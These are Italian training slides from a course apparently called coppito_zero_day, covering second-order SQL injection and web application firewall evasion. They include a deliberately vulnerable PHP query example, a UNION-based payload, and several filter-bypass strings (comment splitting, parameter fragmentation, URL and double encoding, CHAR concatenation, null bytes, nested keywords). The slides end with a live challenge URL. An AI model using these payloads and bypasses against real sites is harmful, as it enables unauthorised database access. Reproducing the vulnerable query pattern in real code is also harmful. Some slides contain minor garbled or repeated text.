coppito_zero_day

SQL INJECTION

LESSON 04

'SECOND ORDER INJECTION

Tutte le SQLi viste finora sono di tipo 'first-order', ossia quando l'injection avviene nel corso di una singola richiesta HTTP.

Le "second-order" SQLi sono le injection che avvengono in una o più richieste HTTP.

'SECOND ORDER INJECTION

FLUSSO TIPICO:

- Un input malevolo viene inviato in una richiesta HTTP.
- L'applicazione salva correttamente l'input.
- Viene effettuata una seconda richiesta HTTP.
- L'applicazione processa l'input precedentemente salvato e scatena l'SQLi.
- Il risultato della SQLi viene restituito (non sempre).

Le second order SQLi avvengono poichè gli sviluppatore tendono a fidarsi di un input ricevuto dal DB.
Per evitare ogni forma di SQLi è necessario "sterilizzare" sempre tutte le query (usate i prepared statements!).

'SECOND ORDER INJECTION

ESEMPIO

```php
// We're switching to Capsule as ORM to write queries.
$user = $capsule->table('users')->where('id', '=', $_GET['id'])->first();
// produces: SELECT * from `users` where id = 1; <<< can't inject anything here

// No need to use prepared statements here, the input comes from DB.
$messages = Capsule::select("SELECT id, username, message FROM messages
WHERE username = '" . $user->username . "'");
foreach($messages as $message) {
        echo $message->text;
}
```

`id` non è vulnerabile. Il risultato della prima query viene utilizzato come parametro per la seconda.

Cosa accade se possiamo controllare `$user->username`?.

coppito_zero_day

'SECOND ORDER INJECTION

ESEMPIO

Valore in input:

```
$username = "' UNION ALL SELECT @@version, 2, 3";
$id = 1;
```

Risultato:

```
/* First query gets executed: */
SELECT * from `users` where id = 1;
/*
the $user variable will contain:
array(
  "id" => 1,
  "username" => "' UNION ALL SELECT @@version, 2, 3"
)
The second query gets executed:
*/
SELECT id, username, message FROM messages WHERE username = ''
UNION ALL SELECT @@version, 2, 3
/*
# The injection gets triggered !!!
*/
```

'WAF EVASION

I WAF (Web Application Firewall) sono degli strumenti per filtrare gli input degli utenti nelle web-application per difenderli dagli attacchi.
Possono essere inclusi nel codice dell'applicazione o come strumenti esterni (come mod_security per Apache).

UN WAF VA ALLA RICERCA DI:

- Istruzioni o keywords SQL. (es. `UNION`)
- Pattern comuni di SQLi. (es. `or '1'='1'`)
- Specifici caratteri. (es. `'` o `"`)

'WAF EVASION

CASE VARIATION

Filter: `UNION`,`union`

Evasion: `UnIoN`,`uNiOn`

coppito_zero_day

'WAF EVASION

SQL COMMENTS

Filter: `UNION` (case variation non funziona)

Evasion: `UN/**/ION`

Filter: `UNION ALL` (case variation non funziona)

Evasion: `UNION/**/ALL`

coppito_zero_day

'WAF EVASION

HPF (HTTP PARAMETER FRAGMENTATION)

Filter: `UNION`, `/**/`

Query: `$sql = 'SELECT * FROM news WHERE day = '. $day .'" AND month = "' . $month . '" AND year = '. $year .'"'`

Evasion:

```
$day = " UNI/*
$month = */ON/*
$year = */ ALL SELECT 1,2,3 -- -
```

Result: `$sql = 'SELECT * FROM news WHERE day = "" UNI/*" AND month = "*/ON/*" AND year = "*/ ALL SELECT 1,2,3 -- -"'`

Result: `$sql = 'SELECT * FROM news WHERE day = "" UNION ALL SELECT 1,2,3 -- -"'`

'WAF EVASION

URL-ENCODING

Gli input filtrati vengono sostituiti dal loro codice ASCII preceduto da `%`.
`0x55` è il codice ASCII di `U`, quindi `%55` è la versione URL-encoded.

Filter: `UNION`,`/**/`

Evasion: `%55NION`, funziona se il WAF agisce prima dell'URL-decode.

coppito_zero_day

'WAF EVASION

DOUBLE URL-ENCODING

A volte le applicazioni effettuano l'URL decoding piu di una volta. `0x55` è il codice ASCII di `U`, quindi `%55` è la versione URL-encoded. Effettuiamo l-econde anche di `%55` ottenendo `%2555`.

Filter: `UNION`,`/**/`

Evasion: `%2555NION`, funziona se il WAF agisce prima dell'URL-decode.

coppito_zero_day

'WAF EVASION

MANIPULATING STRINGS

Filter: `SELECT`

Evasion: `CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)`
funziona su MSSQL

Filter: `admin`

Evasion:
`REVERSE('nimda')`
`REPLACE('bdmin', 'b', 'a')`
`CONCAT('a','dmin')`

'WAF EVASION

USING NULL BYTES

A volte i WAF sono scritti in linguaggi che usano i null bytes `0x00` per determinare la lunghezza di una stringa.

Filter: `UNION`

Evasion: `%00UNION`, il WAF interrompe il check su `%00` perchè la stringa viene interpretata con lunghezza `0`.

'WAF EVASION

NESTING EXPRESSIONS

Alcuni WAF rimuovono le parole in blacklist una sola volta. A volte i WAF sono scritti in linguaggi che usano i null bytes `0x00` per determinare la lunghezza di una stringa.

Filter: `UNION`

Evasion: `UNIUNIONON`, dopo la sostituzione `UNION`.

coppito_zero_day

CHALLENGE

HTTP://167.172.164.187/CZD04/